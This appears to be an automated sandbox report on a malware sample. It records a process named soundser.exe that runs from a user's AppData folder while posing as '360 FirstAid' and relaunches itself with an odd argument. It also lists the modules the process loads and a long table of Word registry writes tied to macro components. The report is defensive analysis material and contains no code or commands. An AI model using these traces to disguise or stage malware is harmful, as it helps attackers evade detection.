c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\shell32.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\ole32.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\cryptbase.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll
c:\windows\system32\setupapi.dll
c:\windows\system32\cfgmgr32.dll
c:\windows\system32\devobj.dll
c:\windows\system32\clbcatq.dll
c:\windows\system32\propsys.dll
c:\windows\system32\ntmarta.dll
c:\windows\system32\wldap32.dll
c:\windows\system32\cryptsp.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\rsaenh.dll

PID: 3580

CMD: "C:\Users\admin\AppData\Local\soundser\soundser.exe"

Path: C:\Users\admin\AppData\Local\soundser\soundser.exe

Indicators

Parent process: 421.exe

User: admin

Integrity Level: MEDIUM

Exit code: 0

Version:

Company: 360. cn

Description: 360 FirstAid

Version: 1, 0, 0, 1007

Modules

Image
c:\users\admin\appdata\local\soundser\soundser.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\apphelp.dll

PID: 2124

CMD: --3ab57678

Path: C:\Users\admin\AppData\Local\soundser\soundser.exe

Indicators

Parent process: soundser.exe

User: admin

Integrity Level: MEDIUM

Version:

Company: 360. cn

Description: 360 FirstAid

Version: 1, 0, 0, 1007

Modules

Image
c:\users\admin\appdata\local\soundser\soundser.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\shell32.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\ole32.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
c:\windows\system32\urlmon.dll
c:\windows\system32\wininet.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\userenv.dll
c:\windows\system32\profapi.dll
c:\windows\system32\wtsapi32.dll
c:\windows\system32\cryptsp.dll
c:\windows\system32\rsaenh.dll
c:\windows\system32\cryptbase.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll
c:\windows\system32\sspicli.dll
c:\windows\system32\ntmarta.dll
c:\windows\system32\wldap32.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\nsi.dll
c:\windows\system32\dnsapi.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\winnsi.dll
c:\windows\system32\normaliz.dll
c:\windows\system32\rasapi32.dll
c:\windows\system32\rasman.dll
c:\windows\system32\rtutils.dll
c:\windows\system32\sensapi.dll
c:\windows\system32\nlaapi.dll
c:\windows\system32\rasadhlp.dll
c:\windows\system32\mswsock.dll
c:\windows\system32\wshqos.dll
c:\windows\system32\wshtcpip.dll
c:\windows\system32\wship6.dll

Registry activity

Total events

1849

Read events

1365

Write events

483

Delete events

Modification events

PID

Process

Operation

Key

Name

Value

2780

WINWORD.EXE

write

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

:|=

3A7C3D00DC0A0000010000000000000000000000

2780

WINWORD.EXE

write

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages

1033

Off

2780

WINWORD.EXE

write

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages

1033

2780

WINWORD.EXE

write

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage

WORDFiles

1317994526

2780

WINWORD.EXE

write

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage

ProductFiles

1317994648

2780

WINWORD.EXE

write

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage

ProductFiles

1317994649

2780

WINWORD.EXE

write

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word

MTTT

DC0A0000FA5496486CF3D40100000000

2780

WINWORD.EXE

write

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

5}=

357D3D00DC0A000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000

2780

WINWORD.EXE

write

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap

UNCAsIntranet

2780

WINWORD.EXE

write

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap

AutoDetect

2780

WINWORD.EXE

write

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

7F7D3D00DC0A000006000000010000008200000002000000720000000400000063003A005C00750073006500720073005C00610064006D0069006E005C0061007000700064006100740061005C006C006F00630061006C005C00740065006D0070005C003000690061003700360077002D00770038006900640068002D00770074007600790069002E0064006F006300000000000000

2780

WINWORD.EXE

write

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage

VBAFiles

1317994500

2780

WINWORD.EXE

write

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\ReviewCycle

ReviewToken

{09081E05-CBCE-455F-AE0F-A96A5412A545}

2780

WINWORD.EXE

write

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Place MRU

Max Display

2780

WINWORD.EXE

write

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\File MRU

Max Display

2780

WINWORD.EXE

write

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery\12FECC

12FECC

04000000DC0A00003800000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C003000690061003700360077002D00770038006900640068002D00770074007600790069002E0064006F006300160000003000690061003700360077002D00770038006900640068002D00770074007600790069002E0064006F00630000000000010000000000000092CB8C486CF3D401CCFE1200CCFE120000000000DB040000000000000000000000000000000000000000000000000000FFFFFFFF0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFF

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\TypeLib\{94B874E4-A44D-4ADF-B0DE-737305167284}\2.0

Microsoft Forms 2.0 Object Library

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\TypeLib\{94B874E4-A44D-4ADF-B0DE-737305167284}\2.0\FLAGS

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\TypeLib\{94B874E4-A44D-4ADF-B0DE-737305167284}\2.0\0\win32

C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\TypeLib\{94B874E4-A44D-4ADF-B0DE-737305167284}\2.0\HELPDIR

C:\Users\admin\AppData\Local\Temp\VBE

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}

Font

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}

IDataAutoWrapper

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}

IReturnInteger

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074}

IReturnBoolean

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}

IReturnString

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}

IReturnSingle

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}

IReturnEffect

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}

IControl

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}

Controls

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}

IOptionFrame

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}

_UserForm

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}

ControlEvents

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}

FormEvents

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}

OptionFrameEvents

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}

ILabelControl

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}

ICommandButton

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}

IMdcText

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}

IMdcList

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}

IMdcCombo

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}

IMdcCheckBox

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}

IMdcOptionButton

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}

IMdcToggleButton

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}

IScrollbar

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}

Tab

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}

Tabs

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}

ITabStrip

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}

ISpinbutton

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{4C599243-6926-101B-9992-00000B65C6F9}

IImage

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}

IWHTMLSubmitButton

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}

IWHTMLImage

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}

IWHTMLReset

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}

IWHTMLCheckbox

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}

IWHTMLOption

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}

IWHTMLText

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}

IWHTMLHidden

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}

IWHTMLPassword

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}

IWHTMLSelect

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}

IWHTMLTextArea

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}

LabelControlEvents

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}

CommandButtonEvents

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}

MdcTextEvents

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}

MdcListEvents

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}

MdcComboEvents

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}

MdcCheckBoxEvents

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}

MdcOptionButtonEvents

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}

MdcToggleButtonEvents

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}

ScrollbarEvents

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}

TabStripEvents

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}

SpinbuttonEvents

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}

ImageEvents

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}

WHTMLControlEvents

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}

WHTMLControlEvents1

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}

WHTMLControlEvents2

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}

WHTMLControlEvents3

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}

WHTMLControlEvents4

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}

WHTMLControlEvents5

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}

WHTMLControlEvents6

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}

WHTMLControlEvents7

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}

WHTMLControlEvents9

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}

WHTMLControlEvents10

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}

IPage

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}

Pages

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}

IMultiPage

2780

WINWORD.EXE

write

HKEY_CLASSES_ROOT\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}

MultiPageEvents

2780

WINWORD.EXE

delete key

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

2780

WINWORD.EXE

write

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100A0C00000000000F01FEC\Usage

SpellingAndGrammarFiles_3082

1317994537

2780

WINWORD.EXE

write

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100A0C00000000000F01FEC\Usage

SpellingAndGrammarFiles_3082

1317994538

2780

WINWORD.EXE

write

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100C0400000000000F01FEC\Usage

SpellingAndGrammarFiles_1036

1317994537

2780

WINWORD.EXE

write

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100C0400000000000F01FEC\Usage

SpellingAndGrammarFiles_1036

1317994538

2780

WINWORD.EXE

write

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400000000000F01FEC\Usage

SpellingAndGrammarFiles_1033

1317994558

2780

WINWORD.EXE

write

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400000000000F01FEC\Usage

SpellingAndGrammarFiles_1033

1317994559

2780

WINWORD.EXE

write

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100A0C00000000000F01FEC\Usage

SpellingAndGrammarFiles_3082

1317994539

2780

WINWORD.EXE

write

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100A0C00000000000F01FEC\Usage

SpellingAndGrammarFiles_3082

1317994540

2780

WINWORD.EXE

write

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100C0400000000000F01FEC\Usage

SpellingAndGrammarFiles_1036

1317994539

2780

WINWORD.EXE

write

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F100C0400000000000F01FEC\Usage

SpellingAndGrammarFiles_1036

1317994540

2780

WINWORD.EXE

write

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400000000000F01FEC\Usage

SpellingAndGrammarFiles_1033

1317994560

2780

WINWORD.EXE

write

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400000000000F01FEC\Usage

SpellingAndGrammarFiles_1033

1317994561

2780

WINWORD.EXE

write

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\Licensing

019C826E445A4649A5B00BF08FCC4EEE

01000000270000007B39303134303030302D303033442D303030302D303030302D3030303030303046463143457D005A0000004F00660066006900630065002000310034002C0020004F0066006600690063006500500072006F00660065007300730069006F006E0061006C002D00520065007400610069006C002000650064006900740069006F006E000000

2780

WINWORD.EXE

write

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400000000000F01FEC\Usage

SpellingAndGrammarFiles_1033

1317994562

2780

WINWORD.EXE

write

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400000000000F01FEC\Usage

SpellingAndGrammarFiles_1033

1317994563

2780

WINWORD.EXE

write

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400000000000F01FEC\Usage

SpellingAndGrammarFiles_1033

1317994564

2780

WINWORD.EXE

write

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109F10090400000000000F01FEC\Usage

SpellingAndGrammarFiles_1033

1317994565

2780

WINWORD.EXE

write